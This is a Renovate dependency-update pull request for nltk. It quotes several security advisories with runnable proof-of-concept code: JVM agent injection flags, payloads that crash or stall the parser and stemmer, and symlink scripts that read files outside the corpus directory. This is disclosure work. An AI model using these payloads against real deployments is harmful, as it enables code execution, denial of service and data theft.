chore(deps): update dependency nltk to v3.10.3 [security] - autoclosed by renovate[bot] · Pull Request #62 · pplmx/llm

renovate · 2026-09-01T21:03:46Z

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
nltk (source)	`3.10.1` → `3.10.3`

NLTK: Uncontrolled search path when invoking the Graphviz 'dot' binary

CVE-2026-78680 / GHSA-6hwm-xvph-95vm

More information

Details

Two NLTK sites executed the Graphviz dot program by bare name, so process creation resolved it via the search path — and on Windows via the current working directory — rather than a validated absolute location. An attacker who can place a file named dot where resolution looks (the CWD on Windows, or a writable/relative entry such as . on PATH) has their binary executed in place of Graphviz (arbitrary code execution).

Affected (<= 3.10.2):

nltk.parse.dependencygraph.dot2img — called find_binary("dot") but discarded the returned validated path and then ran the bare name ["dot", ...], so the validation had no effect.
nltk.translate.api.AlignedSent._repr_svg_ — ran the bare name with no validation at all (IPython SVG rendering).

This is the same class already fixed for the senna, weka, boxer, malt, repp and hunpos wrappers. nltk.internals.find_binary refuses a CWD-relative match for a bare tool name and returns only a trusted absolute path; the fix runs that path in both sites.

Attack demonstration

Captured output, not illustrative. A ./dot that writes a PWNED marker, planted in the CWD with . prepended to PATH.

The vulnerable behaviour (old bare-name exec):

Control (OLD behavior) — bare ['dot'] in this dir with '.' on PATH:
  bare ['dot'] executed planted binary = True

The patched functions refuse it:

FIXED code, with ./dot planted and '.' on PATH:
  dependencygraph.dot2img : Exception "Cannot find the dot binary..."  | planted-binary-executed=False  safe
  AlignedSent._repr_svg_  : Exception "Cannot find the dot binary..."  | planted-binary-executed=False  safe

And find_binary itself was attacked directly (the fix trusts nothing else):

Attack 1: ./dot in CWD, no dot on PATH            -> LookupError (refused)  safe
Attack 2: ./dot/dot (dir 'dot' holding 'dot')     -> LookupError (refused)  safe
Attack 3: '.' on PATH + ./dot                     -> LookupError (refused)  safe
Attack 4: attacker-writable ABSOLUTE dir on PATH  -> returned /…/evilbin/dot (absolute)

Attack 4 is out of scope: trusting an absolute directory that is already on PATH is the operating system's own trust model — an attacker who can write to a PATH directory owns the account regardless of NLTK. find_binary defends specifically against the CWD/relative injection that bare-name exec is vulnerable to (attacks 1–3), which is exactly what this fix inherits.

Environment: python 3.13.7. dot is not required to reproduce — the planted binary is the payload.

Severity

CVSS Score: 8.5 / 10 (High)
Vector String: CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

NLTK: JVM argument injection bypass via per-call options in the NLTK Stanford wrappers (incomplete fix of CVE-2026-12841)

CVE-2026-79675 / GHSA-m4rf-3fr8-xwx3

More information

Details

Vulnerability

The fix for CVE-2026-12841 (CWE-88, JVM argument injection) added _validate_java_options() to block dangerous JVM flags such as -agentlib, -agentpath, -javaagent, -Xrunjdwp, and @argfile references. However, the validation is only applied when setting global options via config_java(). The java() function's per-call options parameter -- added by PR #3683 (CVE-2026-12615 fix) -- passes options directly to subprocess.Popen without calling _validate_java_options().

All four Stanford Java wrapper classes accept user-supplied java_options and route them through the unvalidated per-call path, bypassing the CVE-2026-12841 fix entirely.

Root Cause

In nltk/internals.py, the java() function (line 128) accepts an options keyword argument. When options is not None, it is converted to a list and prepended to the JVM command (lines 211-217) without any validation:

##### nltk/internals.py, lines 211-217 (HEAD)
if options is None:
    java_options = _java_options       # validated by config_java()
else:
    if isinstance(options, str):
        options = options.split()
    java_options = list(options)       # NO validation
cmd = [_java_bin] + java_options + cmd

Compare with config_java() (line 92) which does validate:

##### nltk/internals.py, lines 122-123
_validate_java_options(options)
_java_options[:] = options

The four affected wrapper classes store user-supplied java_options without validation and pass them through the unvalidated per-call path:

GenericStanfordParser (nltk/parse/stanford.py): constructor parameter at line 39, stored at line 78, passed at lines 247 and 256
StanfordTagger (nltk/tag/stanford.py): constructor parameter at line 51, stored at line 79, passed at line 118
StanfordTokenizer (nltk/tokenize/stanford.py): constructor parameter at line 43, stored at line 66, passed at line 109
StanfordSegmenter (nltk/tokenize/stanford_segmenter.py): constructor parameter at line 68, stored at line 117, passed at line 337

Proof of Concept

from nltk.internals import config_java, java, _validate_java_options

##### 1. The global config_java() path correctly blocks dangerous flags:
try:
    config_java(options=["-agentpath:/tmp/evil.so"])
except ValueError as e:
    print(f"config_java blocked: {e}")   # blocked as expected

##### 2. The per-call options path does NOT block them:

##### (Would execute if Java were installed)
##### java(["SomeClass"], classpath=".", options=["-agentpath:/tmp/evil.so"])

##### This passes "-agentpath:/tmp/evil.so" directly to subprocess.Popen

##### 3. Stanford wrapper classes pass through without validation:

##### from nltk.parse.stanford import StanfordParser
##### parser = StanfordParser(java_options="-agentpath:/tmp/evil.so")

##### parser.parse(...)  # dangerous flag reaches JVM

##### Verify the gap directly:
dangerous_opts = ["-agentpath:/tmp/evil.so"]
try:
    _validate_java_options(dangerous_opts)
    print("Would have been caught")
except ValueError:
    print("Correctly rejected by _validate_java_options()")

##### But java() itself never calls _validate_java_options():
import inspect
source = inspect.getsource(java)
assert "_validate_java_options" not in source, "java() does not validate options"
print("Confirmed: java() does not call _validate_java_options()")

Impact

An attacker who controls the java_options parameter to any NLTK Stanford wrapper class can inject arbitrary JVM flags, including:

-agentpath:/path/to/malicious.so -- loads a native agent, achieving arbitrary code execution
-javaagent:/path/to/malicious.jar -- loads a Java agent for bytecode manipulation
-agentlib:jdwp=transport=dt_socket,server=y,address=*:5005 -- enables remote debugging, allowing remote code execution
@/path/to/argfile -- expands an argument file, which can smuggle any of the above

This is exploitable in scenarios where NLTK is deployed as a service and java_options is derived from user input, configuration files, or environment variables. The PR #3647 commit message explicitly states the fix was intended to cover "StanfordSegmenter, and GenericStanfordParser" but the implementation only validates in config_java().

Suggested Fix

Add _validate_java_options() to the java() function's per-call options handling:

##### nltk/internals.py, in the java() function
if options is None:
    java_options = _java_options
else:
    if isinstance(options, str):
        options = options.split()
    java_options = list(options)
    _validate_java_options(java_options)   # ADD THIS LINE
cmd = [_java_bin] + java_options + cmd

This single-line addition closes the bypass for all four Stanford wrapper classes and any future callers of java(options=...).

AI tooling

AI assistance was used for the code audit and for drafting this report. The finding were manually verified against the project's source at the location cited above before reporting it, and the severity and impact assessment are the reporters.

Severity

CVSS Score: 9.3 / 10 (Critical)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

NLTK: Uncontrolled recursion in nltk.featstruct.FeatStructReader causes unhandled RecursionError (DoS) via deeply nested feature-structure input

CVE-2026-81724 / GHSA-cw6x-m8jw-qmrh

More information

Details

Summary

nltk.featstruct.FeatStructReader (used by FeatStruct(str) and by FeatureGrammar.fromstring()) parses feature-structure strings such as [a=1] with a recursive-descent parser that has no nesting-depth limit. A small, trivially-crafted input (~700 bytes) with deeply nested brackets drives the parser past Python's recursion limit and raises an unhandled RecursionError instead of the library's normal, catchable ValueError/LogicalExpressionException. Any application that parses user-supplied feature-structure or feature-grammar text (e.g. NLP teaching tools, grammar "playgrounds", unification-grammar-based NLU pipelines) can be crashed by an unauthenticated input with no special privileges. This is a Denial of Service issue (CWE-674, Uncontrolled Recursion), not a memory-safety or code-execution issue.

This appears to be the same bug class as two issues already fixed elsewhere in the codebase — nltk/jsontags.py (JSONTaggedDecoder.decode_obj, guarded by MAX_DECODE_DEPTH = 200) and nltk/sem/logic.py (LogicParser, guarded by MAX_PARSE_DEPTH = 200) — but nltk/featstruct.py does not have an equivalent guard.

Details

The recursive call chain (current develop branch, nltk/featstruct.py):

FeatStructReader.fromstring() (featstruct.py:2184) calls read_partial() → _read_partial() (featstruct.py:2250).
_read_partial() dispatches to _read_partial_featdict(), which calls _read_value() (featstruct.py:2436) for each feature's value.
_read_value() calls read_value() (featstruct.py:2442), which matches the value against VALUE_HANDLERS (featstruct.py:2478).
If the value itself starts with [ (a nested feature structure), the matched handler is read_fstruct_value (featstruct.py:2479, defined at featstruct.py:2495):
```
def read_fstruct_value(self, s, position, reentrances, match):
    return self.read_partial(s, position, reentrances)
```
This calls read_partial() again, which re-enters _read_partial() — the same function from step 1.

This closes a recursive cycle (_read_partial → _read_value → read_value → read_fstruct_value → read_partial → _read_partial → ...) with no depth counter, no MAX_*_DEPTH constant, and no try/except RecursionError anywhere in the class. Each additional [ in the input adds one more full cycle of Python stack frames. Once the input nests deeply enough, Python's own recursion-limit protection fires and raises RecursionError, which is not a subclass of ValueError (the exception type this parser's own _error() helper raises for normal, well-formed parse errors) and therefore propagates uncaught through this API.

For comparison, nltk/sem/logic.py's LogicParser was hardened against exactly this class of issue:

#: Maximum expression-nesting depth the recursive-descent parser will
#: descend to. Deeply nested input would otherwise recurse until Python

#: raises an uncaught RecursionError and crashes the caller
#: (uncontrolled recursion, CWE-674); past this depth a normal

#: LogicalExpressionException is raised instead. Configurable.
MAX_PARSE_DEPTH = 200

(nltk/sem/logic.py:102-107), and nltk/jsontags.py's JSONTaggedDecoder similarly has MAX_DECODE_DEPTH = 200 with an explicit depth check. nltk/featstruct.py has no analogous protection.

FeatureGrammar.fromstring() (nltk/grammar.py) parses feature structures embedded in FCFG grammar rules via the same FeatStructReader, so the same crash is reachable through grammar-string parsing as well as through FeatStruct() directly.

PoC

Verified against the current develop branch in a clean virtualenv (Python 3.12, NLTK installed from this checkout via pip install -e .):

from nltk.featstruct import FeatStruct

depth = 167
payload = "[a=" * depth + "1" + "]" * depth   # 669 bytes
FeatStruct(payload)

Result:

Traceback (most recent call last):
  ...
  File ".../nltk/featstruct.py", line 2310, in _read_partial_featdict
    value, position = self._read_value(name, s, position, reentrances)
  File ".../nltk/featstruct.py", line 2440, in _read_value
    return self.read_value(s, position, reentrances)
  File ".../nltk/featstruct.py", line 2446, in read_value
    return handler_func(s, position, reentrances, match)
  [... repeats ~167 times ...]
RecursionError: maximum recursion depth exceeded

Crash threshold: nesting depth 167 (binary-searched between 50 and 200).
Payload size: 669 bytes — fits trivially in a single HTTP request body/query parameter.
Time to crash: <2ms — no resource exhaustion is needed, only recursion depth.

Minimal reproduction (no server required):

python3 -c "
from nltk.featstruct import FeatStruct
FeatStruct('[a=' * 200 + '1' + ']' * 200)
"

Illustrative server-side context (not part of NLTK itself, but representative of how the bug becomes reachable):

from flask import Flask, request
from nltk.featstruct import FeatStruct

app = Flask(__name__)

@app.route("/parse", methods=["POST"])
def parse_grammar():
    return {"result": str(FeatStruct(request.json["grammar"]))}

A POST of {"grammar": "[a=" * 200 + "1" + "]" * 200} to this endpoint raises the uncaught RecursionError inside the request handler.

Impact

Vulnerability type: Denial of Service via uncontrolled recursion (CWE-674). This is not a memory-corruption bug and does not lead to code execution or data disclosure — Python's own recursion-limit safety net converts what would be a C-level stack overflow into a catchable (but here, uncaught) RecursionError.

Who is affected: Any application that passes externally-supplied text into nltk.featstruct.FeatStruct() or nltk.grammar.FeatureGrammar.fromstring() — for example, NLP/computational-linguistics teaching tools, unification-grammar demo services, or NLU pipelines that accept user-authored feature grammars. This is a narrower slice of NLTK's user base than, e.g., tokenization or POS tagging, since feature-structure/unification-grammar parsing is a more specialized part of the library.

Practical severity depends on deployment:

In typical WSGI-style web frameworks (Flask/Django/FastAPI behind gunicorn/uwsgi), an uncaught exception inside a request handler is caught at the framework/server boundary: the single request fails (HTTP 500), the worker process itself survives, and unaffected requests are unimpacted.
In single-threaded or per-task-unprotected contexts (e.g. a queue-consuming worker without per-task exception isolation), the uncaught RecursionError can terminate the entire process; without a process supervisor that auto-restarts it, this is a persistent outage until manually restarted. An attacker who repeats the payload can keep such a worker in a crash loop for as long as the attack continues.

Suggested fix: Add a depth counter and a MAX_PARSE_DEPTH-style constant to FeatStructReader, mirroring the existing fix in nltk/sem/logic.py, and raise the library's normal ValueError-based parse error once the limit is exceeded instead of letting RecursionError propagate.

Severity

CVSS Score: 6.9 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

NLTK: Uncontrolled resource consumption in RecursiveDescentParser via ambiguous or left-recursive grammars

CVE-2026-12876 / GHSA-ff5c-cp5c-9wjf

More information

Details

nltk.parse.RecursiveDescentParser (and SteppingRecursiveDescentParser) enumerate parses top-down with no bound on the number of recursive steps. A small, crafted context-free grammar makes a short input consume unbounded CPU (and/or exhaust the Python recursion stack), pinning a process indefinitely — a denial of service.

Proof of concept

Both of the following hang on a 24-token input (killed after 8s; growth is super-linear in input length), on NLTK develop:

from nltk import CFG
from nltk.parse import RecursiveDescentParser

##### (a) left recursion -> unbounded recursion
g = CFG.fromstring("S -> S S | 'a'")
list(RecursiveDescentParser(g).parse(["a"] * 24))   # hangs

##### (b) ambiguous grammar -> exponential number of parses
g = CFG.fromstring("S -> 'a' S | 'a' S S | 'a'")
list(RecursiveDescentParser(g).parse(["a"] * 24))   # hangs

Impact

An application that runs RecursiveDescentParser on a grammar (or an input) drawn from an untrusted source can be driven into an unbounded CPU / stack-exhaustion loop by a tiny payload. No confidentiality or integrity impact; single-process availability only.

Sibling

The RegexpTokenizer ReDoS reported alongside this (CVE-2026-12875) is a different class (caller-supplied regex) and is addressed under GHSA-w3v8-gmh9-3wv7.

Severity

CVSS Score: 6.9 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

NLTK: Quadratic CPU Exhaustion in `XMLCorpusView._read_xml_fragment()`

CVE-2026-81723 / GHSA-vp2x-qp44-57v7

More information

Details

Summary

XMLCorpusView._read_xml_fragment() reads a corpus file in 1 KiB blocks, appending
each block to a growing fragment string, then calls _VALID_XML_RE.match(fragment)
on the full accumulated buffer every iteration. Because each iteration rescans the
entire accumulated fragment, the total amount of work grows quadratically with input
size.

Commit c9c332284 (CWE-1333) made each match() call linear. The quadratic behavior
is separate: the loop calls match() once per 1 KiB block, each time on a longer
buffer.

On the test system, an 8 MiB malformed XML file consumed approximately 48 CPU-seconds
through the public BNCCorpusReader.words() API with no source modification. Absolute
timings vary by hardware. _read_xml_fragment() imposes no limit on fragment size or
iteration count.

Details

File: nltk/corpus/reader/xmldocs.py
Function: XMLCorpusView._read_xml_fragment(), lines 261–308

The relevant loop:

fragment = ""
while True:
    fragment += stream.read(self._BLOCK_SIZE)      # grows by 1 KiB per iteration
    if self._VALID_XML_RE.match(fragment):         # rescans full buffer each time
        return fragment
    ...
    last_open_bracket = fragment.rfind("<")
    if last_open_bracket > 0:                      # False for single-'<' payload
        if self._VALID_XML_RE.match(fragment[:last_open_bracket]):
            return ...
    # loop continues

For a payload of b'<' + b'a' * (N-1):

For this malformed input, _VALID_XML_RE.match(fragment) does not succeed because
the unterminated tag prevents the expression from matching before EOF.
fragment.rfind("<") returns 0; the guard last_open_bracket > 0 is False, so
the backtrack branch is never taken.
The only exit is EOF, after all N bytes are consumed.

Affected readers -> readers that rely on XMLCorpusView, including
BNCCorpusReader, NPSChatCorpusReader, SemcorCorpusReader, MTECorpusReader,
NKJPCorpusReader, FrameNetCorpusReader, VerbNetCorpusReader, and direct
XMLCorpusView instantiation. XMLCorpusReader.xml() is not affected -> it calls
defusedxml.safe_parse().

PoC

Requires only pip install nltk. No corpus data needed.

from pathlib import Path
from tempfile import TemporaryDirectory
from time import perf_counter
from nltk.corpus.reader.bnc import BNCCorpusReader

SIZES_KIB = (256, 512, 1024, 2048, 4096, 8192)
results = []
with TemporaryDirectory() as directory:
    root = Path(directory)
    malformed = root / "unterminated.xml"
    for kib in SIZES_KIB:
        malformed.write_bytes(b"<" + b"a" * (kib * 1024 - 1))
        t = perf_counter()
        try:
            list(BNCCorpusReader(str(root), [malformed.name]).words())
        except ValueError as e:
            assert "tag not closed" in str(e)
        results.append(perf_counter() - t)

print("KiB      seconds   growth")
for i, (kib, elapsed) in enumerate(zip(SIZES_KIB, results)):
    ratio = "-" if i == 0 else f"{elapsed / results[i-1]:.2f}x"
    print(f"{kib:5d}  {elapsed:9.3f}  {ratio}")

Runtime should increase by approximately fourfold for each doubling of input size,
although absolute timings vary by hardware.

During verification, _VALID_XML_RE.match() was instrumented to record the size of
each input. For a 256 KiB malformed file it was invoked 257 times on monotonically
increasing buffers (1024, 2048, …, 262144 bytes), with the final call occurring after
EOF. This confirms that every iteration rescans the accumulated fragment.

Impact

Applications that process attacker-controlled XML corpus files through an affected reader
are vulnerable. The attacker needs only write access to a path the reader will open. No
NLTK credentials or special privileges required. Offline tools reading only trusted
local corpora are not at risk.

Affected versions: Verified in NLTK 3.9.4, 3.10.0, and the current develop branch.
Historical inspection indicates the same loop structure has existed since the
introduction of XMLCorpusView (2007), but only the listed versions were
experimentally verified. No patch exists in any published release.

This issue results in CPU exhaustion and may allow denial of service in applications
that process attacker-controlled XML corpus files.

Suggested Fix

Avoid rescanning the accumulated fragment from the beginning after each 1 KiB read.
Incremental parsing, bounded fragment accumulation, or another streaming approach would
eliminate the quadratic behavior while preserving existing semantics.

A regression test should verify that BNCCorpusReader.words() raises ValueError
within a fixed timeout (e.g. 5 seconds) against a 2 MiB malformed input. The existing
test_xmldocs_security.py covers only the prior ReDoS payloads and does not exercise
this path.

Severity

CVSS Score: 6.3 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

NLTK: Downloader.download follows hardlinks and overwrites outside-root files

CVE-2026-81727 / GHSA-f794-5jv7-7672

More information

Details

Summary

NLTK's downloader now blocks symlink escapes during ZIP extraction, but it still treats pre-existing hardlinks inside the install tree as ordinary in-root files. A normal package install can therefore overwrite an outside-root inode through that hardlink.

Details

Vulnerability type: Filesystem containment bypass
Affected component: nltk.downloader.Downloader.download, nltk.downloader.Downloader.incr_download
Affected versions: Published 3.9.4 and current source v3.10.0-rc2 both reproduced for the extraction-stage overwrite.
Patched versions: 3.10.3
Root cause: The downloader validates traversal and symlink conditions but does not reject pre-existing hardlink aliases inside the install tree.

The install flow correctly rejects a pre-existing symlink at an extraction target, yet it accepts a pre-existing hardlink at the same path. When the package is installed, extracted member data is written through the hardlink and mutates the outside inode.

PoC

Preconditions

The attacker can plant files inside a writable shared downloader root on the same filesystem as the target file.

Steps

Prepare a downloader root and create a hardlink inside it that points to an outside target file.
Confirm a symlink at the same path is rejected as a negative control.
Run a normal Downloader.download() package install whose extracted member lands on the hardlink path.
Observe the outside target file is overwritten while the downloader still reports the package as installed.

Minimal reproducible excerpt

extract_hardlink_before ORIGINAL
extract_hardlink_after PWNED
extract_hardlink_status installed

Impact

A shared or attacker-influenced downloader directory can be turned into an overwrite primitive against same-filesystem files outside the intended install root.

Remediation

Treat pre-existing hardlinks as unsafe in extraction targets, verify that each write path stays within the intended install tree at the inode level, and add regression tests that pair hardlinks with existing symlink controls.

Severity

CVSS Score: 6.9 / 10 (Medium)
Vector String: CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

NLTK: Quadratic-time DoS in PorterStemmer via long runs of 'y'

CVE-2026-81722 / GHSA-ww6m-cw3f-q94g

More information

Details

nltk.stem.PorterStemmer.stem() -- a ubiquitous public API applied to arbitrary, often untrusted, tokens -- runs in O(n^2) time on a token containing a long run of the letter 'y', letting a single ~20-50 KB token pin a CPU core (CWE-407).

Root cause

_is_consonant(word, i) was made iterative (commit for #3633, GHSA/CWE-674) to fix an earlier unbounded-recursion RecursionError on 'y'*10000. The iterative form walks backward over the whole run of 'y's on every call:

while i > 0 and word[i] == 'y':
    negate = not negate
    i -= 1

_measure() then calls _is_consonant(stem, i) once for every position i of the stem. For a run of n 'y's that is sum_{i} O(i) = O(n^2). The recursion fix therefore traded a CWE-674 RecursionError for a CWE-407 quadratic-time DoS.

Proof of concept

Measured (Python 3.13): stem('y'*5000 + 'ness') = 2.6s, stem('y'*10000 + 'ness') = 11.3s (2x input -> ~4.3x time = quadratic), stem('y'*20000 + 'ness') > 20s. A pure run of 'y' with no matching suffix is fast because the stemmer rules that call _measure do not fire; a real suffix such as 'ness' triggers _measure on the long stem.

from nltk.stem import PorterStemmer
PorterStemmer().stem('y' * 20000 + 'ness')   # >20s of CPU

Impact

Stemming is routinely applied to untrusted text (search, indexing, NLP pipelines). A single unbroken ~20-50 KB token of 'y' characters (no whitespace, so it survives tokenization) causes multi-second-to-minutes CPU consumption per request. No confidentiality/integrity impact; single-process availability only.

Fix direction

Classify each character's consonant/vowel status in a single left-to-right O(n) pass (memoise the 'y' run parity) instead of re-walking the run on every _is_consonant call, so _measure and stemming are linear. This is a sibling of the corpus-reader quadratic advisories GHSA-vp2x-qp44-57v7 and GHSA-8mpw-7fpc-4gqj (CWE-407).

Severity

CVSS Score: 6.9 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

NLTK AllowlistUnpickler dotted-name validation bypass allows remote code execution

CVE-2026-71513 / GHSA-5gh2-94qg-qppq

More information

Details

NLTK before 3.10.3 contains a remote code execution vulnerability in AllowlistUnpickler that validates only the pickle module string and not the global name, allowing attackers to resolve dotted names by attribute traversal to callables outside the allowlisted namespace. Attackers can craft untrusted transition-parser models that execute arbitrary commands when TransitionParser.parse loads the model through allowlisted_pickle_load.

Severity

CVSS Score: 8.7 / 10 (High)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

NLTK CrubadanCorpusReader path traversal allows arbitrary file disclosure

CVE-2026-71514 / GHSA-cv22-g7mw-8v73

More information

Details

NLTK 3.9.4 through 3.10.2 contains a path traversal vulnerability in CrubadanCorpusReader. _load_lang_ngrams joins the corpus root with crubadan_code, the column-0 value read from the corpus table.txt mapping file, and opens the result with the builtin open() rather than the pathsec-validated opener, so os.path.join discards the root when that value is absolute and the read escapes the corpus directory without the containment check nltk.pathsec applies when ENFORCE is set. An attacker who controls a corpus package can disclose file contents outside the corpus root through lang_freq, limited to paths ending in -3grams.txt whose contents parse as token count lines.

Severity

CVSS Score: 2.0 / 10 (Low)
Vector String: CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

NLTK: Symlink-based sandbox bypass in FramenetCorpusReader (bypasses the fix for CVE-2026-54292)

CVE-2026-62384 / GHSA-f833-7jw8-xwrv

More information

Details

This is a new, distinct vulnerability: a bypass of the fix already published as GHSA-xh95-f55m-82fw ("Path traversal in NLTK FramenetCorpusReader.frame() allows arbitrary XML file read, bypassing the nltk.pathsec sandbox"), not a duplicate of it.

Summary

The original advisory was fixed (PR #3581) by adding _reject_unsafe_path_component(), which blocks literal /, \, .., and Windows drive prefixes in caller-/corpus-supplied names. It never resolves symlinks. All three call sites that use this guard still resolve the resulting path through self.abspath() (nltk/corpus/reader/api.py, self._root.join(fileid)), which is a plain lexical join, not the symlink-resolving, required_root-scoped check that CorpusReader.open() (and NKJPCorpusReader's own fix for its sibling advisory) correctly use elsewhere in this same codebase.

A symlink placed inside the corpus's own subdirectory, with a name containing no separators at all, passes the guard cleanly and reads a file completely outside the corpus root.

Affected code (`nltk/corpus/reader/framenet.py`)

frame_by_name() reads <frame_dir>/<name>.xml
_lu_file() reads <lu_dir>/lu<id>.xml
doc() reads <fulltext_dir>/<filename>

All three follow the same chain: _reject_unsafe_path_component(value, ...), then self.abspath(os.path.join(subdir, value)), then XMLCorpusView(...), opened via PathPointer.open() with no required_root.

Proof of concept

Self-contained, runnable end to end.

import os
import tempfile

from nltk.corpus.reader.framenet import FramenetCorpusReader

root = tempfile.mkdtemp()
corpus_root = os.path.join(root, "framenet_v17")
frame_dir = os.path.join(corpus_root, "frame")
secret_dir = os.path.join(root, "outside_framenet_root")
os.makedirs(frame_dir)
os.makedirs(secret_dir)

with open(os.path.join(corpus_root, "frRelation.xml"), "w") as f:
    f.write("<frameRelations/>")

secret_path = os.path.join(secret_dir, "stolen.xml")
with open(secret_path, "w") as f:
    f.write(
        '<frame cBy="000" cDate="01/01/2000" name="StolenFrame" ID="999999">'
        "<definition>THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT</definition>"
        "</frame>"
    )

##### Attacker plants this inside <corpus_root>/frame/. No path separators,

##### so it passes _reject_unsafe_path_component cleanly.
link_path = os.path.join(frame_dir, "evil_link.xml")
os.symlink(secret_path, link_path)

reader = FramenetCorpusReader(corpus_root, [])
reader._frame_idx = {"__dummy__": {"name": "__dummy__"}}  # skip unrelated index build

result = reader.frame_by_name("evil_link")   # normal, routine call, no ".." anywhere
print("frame name:", result["name"])
print("definition:", result["definition"])

Actual output when run against unpatched main (commit 35813c8):

frame name: StolenFrame
definition: THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT

That content was read from secret_path, a file entirely outside corpus_root, via a single, unmodified, public API call. No exception is raised anywhere in the chain; _reject_unsafe_path_component passes because "evil_link" contains no separators, .., or drive prefix.

Verified the same way for the other two affected call sites, _lu_file() (lu<id>.xml symlink under lu/) and doc() (arbitrary filename symlink under fulltext/), both succeeding identically with no exception raised.

Why this is in scope

No malicious file for a victim to open, no special user interaction. Just a tampered/shared corpus directory (NLTK's own SECURITY.md names "shared environments... multi-tenant pipelines" as its threat model) plus a completely normal API call.
Core corpus-reader code, not a demo/GUI tool.
Confirmed unintentional: PR #3581's own description states the goal was to route through "the nltk.pathsec sandbox... including the strict ENFORCE=True mode" and be "consistent with the validation already used elsewhere in NLTK." It doesn't achieve that, since abspath() never reaches the scoped, symlink-resolving check that exists and is used correctly elsewhere in the same file tree (NKJPCorpusReader).

Suggested fix

Route all three call sites through CorpusReader.open() (or pass required_root=self._root to validate_path() directly, as NKJPCorpusReader already does), instead of self.abspath() plus raw PathPointer.open().

Severity

CVSS Score: 8.7 / 10 (High)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

NLTK: Symlink-based arbitrary file read in IPIPANCorpusReader, bypasses nltk.pathsec entirely

CVE-2026-62383 / GHSA-3hhw-38pf-pxj6

More information

Details

Summary

IPIPANCorpusReader (nltk/corpus/reader/ipipan.py) exposes public methods, channels(), domains(), categories(), and fileids(channels=...), that accept a caller supplied fileids list and read a file via a completely unprotected builtin open() call, with no nltk.pathsec involvement at all. A symlink placed inside the corpus root, with a name containing no separators or .., passes NLTK's existing traversal checks and is opened directly, reading a file from anywhere on the filesystem the process can access.

Root cause

All four methods route through _get_tag():

def _get_tag(self, f, tag):
    tags = []
    with open(f) as infile:   # builtin open(), no pathsec involvement
        header = infile.read()
    ...

f arrives via _list_header_files() / _list_morph_files_by(), both of which call:

f.replace("morph.xml", "header.xml")

on the result of self.abspath(...) or self.abspaths(...). FileSystemPathPointer subclasses str, so .replace() returns a plain Python string, silently discarding the PathPointer wrapper. That plain string is handed straight to builtin open().

This is a more severe variant of the same CWE-59 class already fixed elsewhere in this codebase (CorpusReader.open(), NKJPCorpusReader.add_root(), and the recent FramenetCorpusReader fix): those route file access through nltk.pathsec.validate_path(), at minimum the global, non-scoped check, before opening. Here, converting the PathPointer to a plain string before calling open() skips pathsec completely, not just the corpus-root-scoped check, so the symlink target does not even need to land under a registered nltk.data.path root.

Plain literal ../ traversal in the fileid is still blocked by FileSystemPathPointer.join(), so this is specifically the symlink variant, not a regression of the older, simpler traversal class.

Proof of concept

Constructed the normal, documented way, fileids as a regex over file paths, so the reader auto-discovers whatever .xml files exist in its root with no special knowledge of the planted symlink.

import os
import tempfile

from nltk.corpus.reader.ipipan import IPIPANCorpusReader

root = tempfile.mkdtemp()
corpus_root = os.path.join(root, "ipipan")
os.makedirs(corpus_root)

with open(os.path.join(corpus_root, "real_morph.xml"), "w") as f:
    f.write("<channel>legit</channel>")

secret_dir = os.path.join(root, "outside_ipipan_root")
os.makedirs(secret_dir)
secret_path = os.path.join(secret_dir, "stolen.xml")
with open(secret_path, "w") as f:
    f.write("<channel>TOP-SECRET-CHANNEL-DATA-FROM-OUTSIDE-CORPUS-ROOT</channel>")

os.symlink(secret_path, os.path.join(corpus_root, "evil_link.xml"))

reader = IPIPANCorpusReader(corpus_root, r".*\.xml")
print("Auto-discovered fileids:", sorted(reader.fileids()))

result = reader.channels(fileids=["evil_link.xml"])
print(result)

Actual output when run against current develop:

Auto-discovered fileids: ['evil_link.xml', 'real_morph.xml']
['TOP-SECRET-CHANNEL-DATA-FROM-OUTSIDE-CORPUS-ROOT']

That content was read from secret_path, a file entirely outside corpus_root. No exception raised anywhere. The planted symlink even surfaces naturally in the reader's own fileids() listing, exactly as a real file would.

Verified separately that literal ../ traversal in the fileid is still rejected (ValueError: Traversal blocked), confirming this is specifically the symlink gap, not a broader regression.

Why this is in scope

No malicious file for a victim to open, no special user interaction. Just a tampered or shared corpus directory (SECURITY.md names "shared environments... multi-tenant pipelines" as the project's own stated threat model) plus a completely normal API call.
Core corpus-reader code, reached through plain import nltk and documented, programmatic usage (words(), sents(), channels(), etc.), not a demo or GUI tool.
